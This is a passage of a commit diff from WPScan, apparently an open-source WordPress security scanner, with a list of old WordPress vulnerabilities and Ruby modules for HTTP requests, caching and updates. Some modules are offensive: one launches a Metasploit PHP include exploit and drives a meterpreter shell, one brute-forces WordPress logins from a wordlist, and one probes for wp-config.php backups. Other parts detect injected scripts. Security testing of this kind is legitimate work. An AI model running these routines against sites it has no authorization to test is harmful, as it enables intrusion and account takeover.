<reference>http://wordpress.org/news/2012/04/wordpress-3-3-2/</reference>
</vulnerability>
<vulnerability>
<title>Wordpress 3.3.1 Multiple CSRF Vulnerabilities</title>
<reference>http://www.exploit-db.com/exploits/18791/</reference>
</vulnerability>
</wordpress>
<wordpress version="3.3">
<vulnerability>
<title>Reflected Cross-Site Scripting in WordPress 3.3</title>
<reference>http://oldmanlab.blogspot.com/2012/01/wordpress-33-xss-vulnerability.html</reference>
</vulnerability>
</wordpress>
<wordpress version="3.1.3">
<vulnerability>
<title>Multiple SQL Injection Vulnerabilities</title>
<reference>http://www.exploit-db.com/exploits/17465/</reference>
</vulnerability>
</wordpress>
<wordpress version="3.1.2">
<vulnerability>
<title>Wordpress &lt;= 3.1.2 Clickjacking Vulnerability</title>
<reference>http://seclists.org/fulldisclosure/2011/Sep/219</reference>
</vulnerability>
</wordpress>
<wordpress version="3.0.3">
<vulnerability>
<title>SQL injection vulnerability in do_trackbacks() Wordpress function</title>
<reference>http://www.exploit-db.com/exploits/15684/</reference>
</vulnerability>
<vulnerability>
<title>Wordpress 3.0.3 stored XSS IE7,6 NS8.1</title>
<reference>http://www.exploit-db.com/exploits/15858/</reference>
</vulnerability>
</wordpress>
<wordpress version="2.9">
<vulnerability>
<title>WordPress 2.9 Failure to Restrict URL Access</title>
<reference>http://www.exploit-db.com/exploits/11441/</reference>
</vulnerability>
<vulnerability>
<title>Wordpress DOS &lt;= 2.9</title>
<reference>http://www.exploit-db.com/exploits/11441/</reference>
</vulnerability>
</wordpress>
<wordpress version="2.8.5">
<vulnerability>
<title>WordPress &lt;= 2.8.5 Unrestricted File Upload Arbitrary PHP Code Execution</title>
<reference>http://www.exploit-db.com/exploits/10089/</reference>
</vulnerability>
</wordpress>
<wordpress version="2.8.3">
<vulnerability>
<title>Wordpress &lt;= 2.8.3 Remote Admin Reset Password Vulnerability</title>
<reference>http://www.exploit-db.com/exploits/9410/</reference>
</vulnerability>
</wordpress>
<wordpress version="2.8.1">
<vulnerability>
<title>Wordpress 2.8.1 (url) Remote Cross Site Scripting Exploit</title>
<reference>http://www.exploit-db.com/exploits/9250/</reference>
</vulnerability>
</wordpress>
<wordpress version="2.7.1">
<vulnerability>
<title>WordPress 2.0 - 2.7.1 admin.php Module Configuration Security Bypass Vulnerability</title>
<reference>http://www.exploit-db.com/exploits/10088/</reference>
</vulnerability>
</wordpress>
<wordpress version="2.6.1">
<vulnerability>
<title>Wordpress 2.6.1 (SQL Column Truncation) Admin Takeover Exploit</title>
<reference>http://www.exploit-db.com/exploits/6421/</reference>
</vulnerability>
</wordpress>
<wordpress version="2.3.1">
<vulnerability>
<title>Wordpress &lt;= 2.3.1 Charset Remote SQL Injection Vulnerability</title>
<reference>http://www.exploit-db.com/exploits/4721/</reference>
</vulnerability>
</wordpress>
<wordpress version="2.2">
<vulnerability>
<title>WordPress 2.2 (wp-app.php) Arbitrary File Upload Exploit</title>
<reference>http://www.exploit-db.com/exploits/4113/</reference>
</vulnerability>
<vulnerability>
<title>Wordpress 2.2 (xmlrpc.php) Remote SQL Injection Exploit</title>
<reference>http://www.exploit-db.com/exploits/4039/</reference>
</vulnerability>
</wordpress>
<wordpress version="2.1.3">
<vulnerability>
<title>Wordpress 2.1.3 admin-ajax.php SQL Injection Blind Fishing Exploit</title>
<reference>http://www.exploit-db.com/exploits/3960/</reference>
</vulnerability>
</wordpress>
<wordpress version="2.1.2">
<vulnerability>
<title>Wordpress 2.1.2 (xmlrpc) Remote SQL Injection Exploit</title>
<reference>http://www.exploit-db.com/exploits/3656/</reference>
</vulnerability>
</wordpress>
<wordpress version="2.0.6">
<vulnerability>
<title>Wordpress &lt;= 2.0.6 wp-trackback.php Remote SQL Injection Exploit</title>
<reference>http://www.exploit-db.com/exploits/3109/</reference>
</vulnerability>
</wordpress>
<wordpress version="2.0.5">
<vulnerability>
<title>Wordpress 2.0.5 Trackback UTF-7 Remote SQL Injection Exploit</title>
<reference>http://www.exploit-db.com/exploits/3095/</reference>
</vulnerability>
</wordpress>
<wordpress version="2.0.2">
<vulnerability>
<title>WordPress &lt;= 2.0.2 (cache) Remote Shell Injection Exploit</title>
<reference>http://www.exploit-db.com/exploits/6/</reference>
</vulnerability>
</wordpress>
<wordpress version="1.5.1.3">
<vulnerability>
<title>Wordpress &lt;= 1.5.1.3 Remote Code Execution eXploit (metasploit)</title>
<reference>http://www.exploit-db.com/exploits/1145/</reference>
</vulnerability>
</wordpress>
<wordpress version="1.5.1.2">
<vulnerability>
<title>Wordpress &lt;= 1.5.1.2 xmlrpc Interface SQL Injection Exploit</title>
<reference>http://www.exploit-db.com/exploits/1077/</reference>
</vulnerability>
</wordpress>
<wordpress version="1.5.1.1">
<vulnerability>
<title>WordPress &lt;= 1.5.1.1 &quot;add new admin&quot; SQL Injection Exploit</title>
<reference>http://www.exploit-db.com/exploits/1059/</reference>
</vulnerability>
<vulnerability>
<title>WordPress &lt;= 1.5.1.1 SQL Injection Exploit </title>
<reference>http://www.exploit-db.com/exploits/1033/</reference>
</vulnerability>
</wordpress>
</vulnerabilities>

218
lib/browser.rb Normal file
View File

@@ -0,0 +1,218 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
# ryandewhurst at gmail
#
class Browser
@@instance = nil
@@user_agent_modes = ["static", "semi-static", "random"]
ACCESSOR_OPTIONS = [
:user_agent,
:user_agent_mode,
:available_user_agents,
:proxy,
:max_threads,
:cache_timeout,
:request_timeout,
:variables_to_replace_in_url
]
attr_reader :hydra, :config_file
attr_accessor *ACCESSOR_OPTIONS
def initialize(options = {})
@config_file = options[:config_file] || CONF_DIR + '/browser.conf.json'
options.delete(:config_file)
load_config()
if options.length > 0
override_config_with_options(options)
end
@hydra = Typhoeus::Hydra.new(:max_concurrency => @max_threads, :timeout => @request_timeout)
# TODO : add an option for the cache dir instead of using a constant
@cache = CacheFileStore.new(CACHE_DIR + '/browser')
@cache.clean
# might be in CacheFileStore
setup_cache_handlers
end
private_class_method :new
def self.instance(options = {})
unless @@instance
@@instance = new(options)
end
@@instance
end
def self.reset
@@instance = nil
end
def user_agent_mode=(ua_mode)
ua_mode ||= "static"
if @@user_agent_modes.include?(ua_mode)
@user_agent_mode = ua_mode
# For semi-static user agent mode, the user agent has to be nil the first time (it will be set with the getter)
@user_agent = nil if ua_mode === "semi-static"
else
raise "Unknow user agent mode : '#{ua_mode}'"
end
end
# return the user agent, accordting to the user_agent_mode
def user_agent
case @user_agent_mode
when "semi-static"
unless @user_agent
@user_agent = @available_user_agents.sample
end
when "random"
@user_agent = @available_user_agents.sample
end
@user_agent
end
def max_threads=(max_threads)
if max_threads.nil? or max_threads <= 0
max_threads = 1
end
@max_threads = max_threads
end
# TODO reload hydra (if the .load_config is called on a browser object, hydra will not have the new @max_threads and @request_timeout)
def load_config(config_file = nil)
@config_file = config_file || @config_file
data = JSON.parse(File.read(@config_file))
ACCESSOR_OPTIONS.each do |option|
option_name = option.to_s
self.send(:"#{option_name}=", data[option_name])
end
end
def setup_cache_handlers
@hydra.cache_setter do |request|
@cache.write_entry(
Browser.generate_cache_key_from_request(request),
request.response,
request.cache_timeout
)
end
@hydra.cache_getter do |request|
@cache.read_entry(Browser.generate_cache_key_from_request(request)) rescue nil
end
end
private :setup_cache_handlers
def get(url, params = {})
run_request(
forge_request(url, params.merge(:method => :get))
)
end
def post(url, params = {})
run_request(
forge_request(url, params.merge(:method => :post))
)
end
def forge_request(url, params = {})
Typhoeus::Request.new(
replace_variables_in_url(url),
merge_request_params(params)
)
end
# return string
def replace_variables_in_url(url)
@variables_to_replace_in_url ||= {}
@variables_to_replace_in_url.each do |subject, replacement|
url.gsub!(subject, replacement)
end
url
end
protected :replace_variables_in_url
def merge_request_params(params = {})
if @proxy
params = params.merge(:proxy => @proxy)
end
if !params.has_key?(:disable_ssl_host_verification)
params = params.merge(:disable_ssl_host_verification => true)
end
if !params.has_key?(:disable_ssl_peer_verification)
params = params.merge(:disable_ssl_peer_verification => true)
end
if !params.has_key?(:headers)
params = params.merge(:headers => {'user-agent' => self.user_agent})
elsif !params[:headers].has_key?('user-agent')
params[:headers]['user-agent'] = self.user_agent
end
# Used to enable the cache system if :cache_timeout > 0
if !params.has_key?(:cache_timeout)
params = params.merge(:cache_timeout => @cache_timeout)
end
params
end
private
# return the response
def run_request(request)
@hydra.queue request
@hydra.run
request.response
end
# Override with the options if they are set
def override_config_with_options(options)
options.each do |option, value|
#if ACCESSOR_OPTIONS.include?(option)
self.send(:"#{option}=", value)
#end
end
end
# The Typhoeus::Request.cache_key only hash the url :/
# this one will include the params
# TODO : include also the method (:get, :post, :any)
def self.generate_cache_key_from_request(request)
cache_key = request.cache_key
if request.params
cache_key = Digest::SHA1.hexdigest("#{cache_key}-#{request.params.hash}")
end
cache_key
end
end

52
lib/cache_file_store.rb Normal file
View File

@@ -0,0 +1,52 @@
#
# => @todo take consideration of the cache_timeout :
# -> create 2 files per key : one for the data storage (key.store ?) and the other for the cache timeout (key.expiration, key.timeout ?)
# or 1 file for all timeouts ?
# -> 2 dirs : 1 for storage, the other for cache_timeout ?
#
require 'yaml'
class CacheFileStore
attr_reader :storage_path, :serializer
# The serializer must have the 2 methods .load and .dump (Marshal and YAML have them)
# YAML is Human Readable, contrary to Marshal which store in a binary format
# Marshal does not need any "require"
def initialize(storage_path, serializer = YAML)
@storage_path = File.expand_path(storage_path)
@serializer = serializer
# File.directory? for ruby <= 1.9 otherwise, it makes more sense to do Dir.exist? :/
if !File.directory?(@storage_path)
Dir.mkdir(@storage_path)
end
end
def clean
Dir[File.join(@storage_path, '*')].each do |f|
File.delete(f)
end
end
def read_entry(key)
entry_file_path = get_entry_file_path(key)
if File.exists?(entry_file_path)
return @serializer.load(File.read(entry_file_path))
end
end
def write_entry(key, data_to_store, cache_timeout)
if (cache_timeout > 0)
File.open(get_entry_file_path(key), 'w') do |f|
f.write(@serializer.dump(data_to_store))
end
end
end
def get_entry_file_path(key)
@storage_path + '/' + key
end
end

85
lib/common_helper.rb Normal file
View File

@@ -0,0 +1,85 @@
LIB_DIR = File.dirname(__FILE__)
ROOT_DIR = File.expand_path(LIB_DIR + '/..') # expand_path is used to get "wpscan/" instead of "wpscan/lib/../"
DATA_DIR = ROOT_DIR + "/data"
CONF_DIR = ROOT_DIR + "/conf"
CACHE_DIR = ROOT_DIR + "/cache"
WPSCAN_LIB_DIR = LIB_DIR + "/wpscan"
WPSTOOLS_LIB_DIR = LIB_DIR + "/wpstools"
UPDATER_LIB_DIR = LIB_DIR + "/updater"
WPSCAN_VERSION = "1.1"
require "#{LIB_DIR}/environment"
# TODO : add an exclude pattern ?
def require_files_from_directory(absolute_dir_path, files_pattern = "*.rb")
Dir[File.join(absolute_dir_path, files_pattern)].sort.each do |f|
f = File.expand_path(f)
require f
#puts "require #{f}" # Used for debug
end
end
# Add protocol
def add_http_protocol(url)
if url !~ /^https?:/
url = "http://#{url}"
end
url
end
def add_trailing_slash(url)
url = "#{url}/" if url !~ /\/$/
url
end
if RUBY_VERSION < "1.9"
class Array
# Fix for grep with symbols in ruby <= 1.8.7
def _grep_(regexp)
matches = []
self.each do |value|
value = value.to_s
matches << value if value.match(regexp)
end
matches
end
alias_method :grep, :_grep_
end
end
# loading the updater
require_files_from_directory(UPDATER_LIB_DIR)
@updater = UpdaterFactory.get_updater(ROOT_DIR)
if @updater
REVISION = @updater.local_revision_number()
else
REVISION = "NA"
end
# our 1337 banner
def banner()
puts '____________________________________________________'
puts " __ _______ _____ "
puts " \\ \\ / / __ \\ / ____| "
puts " \\ \\ /\\ / /| |__) | (___ ___ __ _ _ __ "
puts " \\ \\/ \\/ / | ___/ \\___ \\ / __|/ _` | '_ \\ "
puts " \\ /\\ / | | ____) | (__| (_| | | | |"
puts " \\/ \\/ |_| |_____/ \\___|\\__,_|_| |_| v#{WPSCAN_VERSION}r#{REVISION}"
puts
puts " WordPress Security Scanner by the WPScan Team"
puts " Sponsored by the RandomStorm Open Source Initiative"
puts '_____________________________________________________'
puts
if RUBY_VERSION < "1.9"
puts "[WARNING] Ruby < 1.9 not officially supported, please upgrade."
puts
end
if @updater.is_a? SvnUpdater
# Uncomment the following lines when the git repo is up
#puts "[WARNING] The SVN repository is DEPRECATED, use the GIT one"
#puts
end
end

34
lib/environment.rb Normal file
View File

@@ -0,0 +1,34 @@
begin
# Standard libs
require 'rubygems'
require 'getoptlong'
require 'uri'
require 'time'
require 'resolv'
require 'xmlrpc/client'
require 'digest/md5'
require 'readline'
require 'base64'
require 'cgi'
require 'rbconfig'
require 'pp'
# Third party libs
require 'typhoeus'
require 'json'
require 'nokogiri'
# Custom libs
require "#{LIB_DIR}/browser"
require "#{LIB_DIR}/cache_file_store"
rescue LoadError => e
puts "[ERROR] #{e}"
if missing_gem = e.to_s[%r{ -- ([^\s]+)}, 1]
puts "[TIP] Try to run 'gem install #{missing_gem}' or 'gem install --user-install #{missing_gem}'. If you still get an error, Please see README file or http://code.google.com/p/wpscan/"
end
exit(1)
end
if Typhoeus::VERSION == "0.4.0"
puts "Typhoeus 0.4.0 detected, please update the gem otherwise wpscan will not work correctly"
exit(1)
end

View File

@@ -0,0 +1,40 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
require File.expand_path(File.dirname(__FILE__) + '/updater')
class GitUpdater < Updater
def is_installed?
%x[git #{repo_directory_arguments()} status 2>&1] =~ /On branch/ ? true : false
end
def local_revision_number
# TODO
end
def update
%x[git #{repo_directory_arguments()} pull]
end
protected
def repo_directory_arguments
'--git-dir="#{@repo_directory}.git" --work-tree="#{@repo_directory}"'
end
end

View File

@@ -0,0 +1,39 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
require File.expand_path(File.dirname(__FILE__) + '/updater')
class SvnUpdater < Updater
@@revision_pattern = /revision="(\d+)"/i
@@trunk_url = "https://wpscan.googlecode.com/svn/trunk"
def is_installed?
%x[svn info "#{@repo_directory}" --xml 2>&1] =~ /revision=/ ? true : false
end
def local_revision_number
local_revision = %x[svn info "#{@repo_directory}" --xml 2>&1]
local_revision[@@revision_pattern, 1].to_s
end
def update
puts %x[svn up "#{@repo_directory}"]
end
end

47
lib/updater/updater.rb Normal file
View File

@@ -0,0 +1,47 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
# This class act as an absract one
class Updater
attr_reader :repo_directory
# TODO : add a last '/ to repo_directory if it's not present
def initialize(repo_directory = nil)
@repo_directory = repo_directory
end
def is_installed?
raise_must_be_implemented()
end
def local_revision_number
raise_must_be_implemented()
end
def update
raise_must_be_implemented()
end
protected
def raise_must_be_implemented
raise "The method must be implemented"
end
end

View File

@@ -0,0 +1,39 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
class UpdaterFactory
def self.get_updater(repo_directory)
self.available_updaters_classes().each do |updater_symbol|
updater = Object.const_get(updater_symbol).new(repo_directory)
if updater.is_installed?
return updater
end
end
nil
end
protected
# return array of class symbols
def self.available_updaters_classes
Object.constants.grep(/^.+Updater$/)
end
end

209
lib/wpscan/exploit.rb Normal file
View File

@@ -0,0 +1,209 @@
#!/usr/bin/env ruby
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
# ryandewhurst at gmail
#
# This library should contain all methods for exploitation.
class Exploit
attr_accessor :rhost, :type, :uri, :postdata
def initialize(wp_url, type, uri, postdata, use_proxy, proxy_addr, proxy_port)
@wp_url = URI.parse(wp_url.to_s)
@rhost = @wp_url.host
@path = @wp_url.path
@type = type
@uri = uri
@postdata = postdata
@session_in_use = nil
@use_proxy = use_proxy
@proxy_addr = proxy_addr
@proxy_port = proxy_port
start()
end
# figure out what to exploit
def start()
if @type == "RFI"
puts
puts "[?] Exploit? [y/n]"
answer = Readline.readline
if answer =~ /^y/i
msf_module = "exploit/unix/webapp/php_include"
payload = "php/meterpreter/bind_tcp"
exploit(msf_module, payload)
else
return false
end
elsif @type == "SQLI"
end
end
# exploit
def exploit(msf_module, payload)
exploit_info(msf_module,payload)
if @postdata == ""
result = RpcClient.new.exploit(msf_module, {:RHOST => @rhost,:PATH => @path,:PHPURI => @uri,:PAYLOAD => payload})
else
result = RpcClient.new.exploit(msf_module, {:RHOST => @rhost,:PATH => @path,:PHPURI => @uri,:POSTDATA => @postdata, :PAYLOAD => payload})
end
if result['result'] == "success"
puts "[*] Exploit worked! Waiting for a session..."
session_spawn_timer = Time.new
while sessions.nil? or sessions.empty?
# wait for a session to spawn with a timeout of 1 minute
if (Time.now - session_spawn_timer > 60)
puts "[ERROR] Session was not created... exiting."
return false
end
end
choose_session()
input = nil
while input.nil?
puts meterpreter_read(last_session_id())
input = Readline.readline
if input == "exit"
kill_session(@session_in_use)
return false
end
meterpreter_write(last_session_id(), input)
input = nil
end
else
puts "[ERROR] Exploit failed! :("
return false
end
end
# output our exploit data
def exploit_info(msf_module,payload)
info = RpcClient.new.get_exploit_info(msf_module)
puts
puts "| [EXPLOIT]"
puts "| Name: " + info['name']
puts "| Description: " + info['description'].gsub!("\t", "").gsub!("\n\n","\n").gsub!("\n", "\n| ").chop!
puts "| [OPTIONS]"
puts "| RHOST: " + @rhost
puts "| PATH: " + @path
puts "| URI: " + uri
puts "| POSTDATA: " + @postdata if @postdata != ""
puts "| Payload: " + payload
puts
end
# not sure if this is needed?! not used.
def job_id()
jobs = RpcClient.new.jobs()
puts jobs
end
# all sessions and related session data
def sessions()
sessions = RpcClient.new.sessions()
end
# the last active session id created
def last_session_id()
sessions.keys.last
end
# a count of the amount of active sessions
def session_count()
sessions().size
end
# if there is more than 1 session,
# allow the user to choose one.
def choose_session()
if session_count() >= 2
puts "[?] We have " + session_count().to_s + " sessions running. Please choose one by id."
open_sessions = ""
sessions.keys.each do |open_session|
open_sessions += open_session.to_s + " "
end
puts open_sessions
use_session = Readline.readline
puts "Using session " + use_session.to_s
@session_in_use = use_session
else
puts "Using session " + last_session_id().to_s
@session_in_use = last_session_id()
end
end
# kill a session by session id
def kill_session(id)
begin
killed = RpcClient.new.kill_session(id)
if killed['result'] == "success"
puts "[-] Session " + id.to_s + " killed."
end
rescue
puts "[] Session " + id.to_s + " does not exist."
return false
end
end
# read data from a shell, meterpreter is not classed
# as a shell.
def read_shell(id)
RpcClient.new.read_shell(id)['data']
end
# write data to a shell, meterpreter is not classed
# as a shell.
def write_shell(id, data)
RpcClient.new.write_shell(id, data)
end
# read data from a meterpreter session
# data must be base64 decoded.
def meterpreter_read(id)
Base64.decode64(RpcClient.new.meterpreter_read(id)['data'])
end
# write data to a meterpreter session
# data must be base64 encoded.
def meterpreter_write(id, data)
RpcClient.new.meterpreter_write(id, Base64.encode64(data))
end
end

View File

@@ -0,0 +1,116 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
# ryandewhurst at gmail
#
module BruteForce
# param array of string logins
# param string wordlist_path
def brute_force(logins, wordlist_path)
hydra = Browser.instance.hydra
number_of_passwords = BruteForce.lines_in_file(wordlist_path)
login_url = login_url()
logins.each do |login|
queue_count = 0
request_count = 0
password_found = false
File.open(wordlist_path, 'r').each do |password|
# ignore file comments, but will miss passwords if they start with a hash...
next if password[0,1] == '#'
# keep a count of the amount of requests to be sent
request_count += 1
queue_count += 1
# create local vars for on_complete call back, Issue 51.
username = login
password = password
# the request object
request = Browser.instance.forge_request(login_url,
:method => :post,
:params => {:log => username, :pwd => password},
:cache_timeout => 0
)
# tell hydra what to do when the request completes
request.on_complete do |response|
puts "\n Trying Username : #{username} Password : #{password}" if @verbose
if response.body =~ /login_error/i
puts "\nIncorrect username and/or password." if @verbose
elsif response.code == 302
puts "\n [SUCCESS] Username : #{username} Password : #{password}\n"
password_found = true
elsif response.timed_out?
puts "ERROR: Request timed out."
elsif response.code == 0
puts "ERROR: No response from remote server. WAF/IPS?"
elsif response.code =~ /^50/
puts "ERROR: Server error, try reducing the number of threads."
else
puts "\nERROR: We recieved an unknown response for #{password}..."
if @verbose
puts 'Code: ' + response.code.to_s
puts 'Body: ' + response.body
puts
end
end
end
# move onto the next username if we have found a valid password
break if password_found
# queue the request to be sent later
hydra.queue(request)
# progress indicator
print "\r Brute forcing user '#{username}' with #{number_of_passwords} passwords... #{(request_count * 100) / number_of_passwords}% complete."
# it can take a long time to queue 2 million requests,
# for that reason, we queue @threads, send @threads, queue @threads and so on.
# hydra.run only returns when it has recieved all of its,
# responses. This means that while we are waiting for @threads,
# responses, we are waiting...
if queue_count >= Browser.instance.max_threads
hydra.run
queue_count = 0
puts "Sent #{Browser.instance.max_threads} requests ..." if @verbose
end
end
# run all of the remaining requests
hydra.run
end
end
# Counts the number of lines in the wordlist
# It can take a couple of minutes on large
# wordlists, although bareable.
def self.lines_in_file(file_path)
lines = 0
File.open(file_path, 'r').each { |line| lines += 1 }
lines
end
end

View File

@@ -0,0 +1,59 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
module Malwares
# Used as cache : nil => malwares not checked, [] => no malwares, otherwise array of malwares url found
@malwares = nil
def has_malwares?(malwares_file_path = nil)
!malwares(malwares_file_path).empty?
end
# return array of string (url of malwares found)
def malwares(malwares_file_path = nil)
if @malwares.nil?
malwares_found = []
malwares_file = Malwares.malwares_file(malwares_file_path)
index_page_body = Browser.instance.get(@uri.to_s).body
File.open(malwares_file, 'r') do |file|
file.readlines.collect do |url|
chomped_url = url.chomp
if chomped_url.length > 0
malwares_found += index_page_body.scan(Malwares.malware_pattern(chomped_url))
end
end
end
malwares_found.flatten!
malwares_found.uniq!
@malwares = malwares_found
end
@malwares
end
def self.malwares_file(malwares_file_path)
malwares_file_path || DATA_DIR + '/malwares.txt'
end
def self.malware_pattern(url)
%r{<(?:script|iframe).* src=(?:"|')(#{url}[^"']*)(?:"|')[^>]*>}i
end
end

View File

@@ -0,0 +1,68 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
module WebSite
# check if the remote website is
# actually running wordpress.
def is_wordpress?
wordpress = false
response = Browser.instance.get(login_url(),
:follow_location => true,
:max_redirects => 2
)
if response.body =~ %r{WordPress}i
wordpress = true
else
response = Browser.instance.get(xmlrpc_url(),
:follow_location => true,
:max_redirects => 2
)
if response.body =~ %r{XML-RPC server accepts POST requests only}i
wordpress = true
end
end
wordpress
end
def xmlrpc_url
@uri.merge("xmlrpc.php").to_s
end
# Checks if the remote website is up.
def is_online?
Browser.instance.get(@uri.to_s).code != 0
end
# see if the remote url returns 30x redirect
# return a string with the redirection or nil
def redirection(url = nil)
url ||= @uri.to_s
response = Browser.instance.get(url)
if response.code == 301 || response.code == 302
redirection = response.headers_hash['location']
end
redirection
end
end

View File

@@ -0,0 +1,56 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
module WpConfigBackup
# Checks to see if wp-config.php has a backup
# See http://www.feross.org/cmsploit/
# return an array of backup config files url
def config_backup
found = []
backups = WpConfigBackup.config_backup_files
browser = Browser.instance
hydra = browser.hydra
backups.each do |file|
file_url = @uri.merge(URI.escape(file)).to_s
request = browser.forge_request(file_url)
request.on_complete do |response|
if response.body[%r{define}i] and not response.body[%r{<\s?html}i]
found << file_url
end
end
hydra.queue(request)
end
hydra.run
found
end
# @return Array
def self.config_backup_files
[
'wp-config.php~','#wp-config.php#','wp-config.php.save','wp-config.php.swp','wp-config.php.swo','wp-config.php_bak',
'wp-config.bak', 'wp-config.php.bak', 'wp-config.save'
] # thanks to Feross.org for these
end
end

View File

@@ -0,0 +1,30 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
module WpFullPathDisclosure
# Check for Full Path Disclosure (FPD)
def has_full_path_disclosure?
response = Browser.instance.get(full_path_disclosure_url())
response.body[%r{Fatal error}i]
end
def full_path_disclosure_url
@uri.merge("wp-includes/rss-functions.php").to_s
end
end

View File

@@ -0,0 +1,109 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
module WpLoginProtection
